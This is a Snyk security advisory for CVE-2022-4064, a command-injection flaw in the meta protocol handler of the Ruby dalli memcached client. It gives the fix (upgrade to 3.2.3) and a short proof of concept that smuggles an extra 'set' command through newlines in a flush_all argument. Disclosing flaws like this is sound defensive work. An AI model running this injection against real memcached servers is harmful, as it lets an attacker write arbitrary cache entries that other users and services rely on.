Improper Neutralization Affecting dalli package, versions <3.2.3


Severity

Recommended
0.0
low
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.11% (45th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-RUBY-DALLI-3136292
  • published20 Nov 2022
  • disclosed20 Nov 2022
  • creditxhzeem

Introduced: 20 Nov 2022

CVE-2022-4064  (opens in a new tab)
CWE-707  (opens in a new tab)

How to fix?

Upgrade dalli to version 3.2.3 or higher.

Overview

Affected versions of this package are vulnerable to Improper Neutralization in the self.meta_set function of the component Meta Protocol Handler.

PoC

require 'dalli'

$mcmeta = Dalli::Client.new('localhost:11211', protocol: :meta)
$mcmeta.set('xhzeem','meta')
$mcmeta.get("xhzeem") # b64_if_reg_match(\s)
puts $mcmeta.flush_all("\nset xhzeem 1 1000 8\ninjected")

CVSS Scores

version 3.1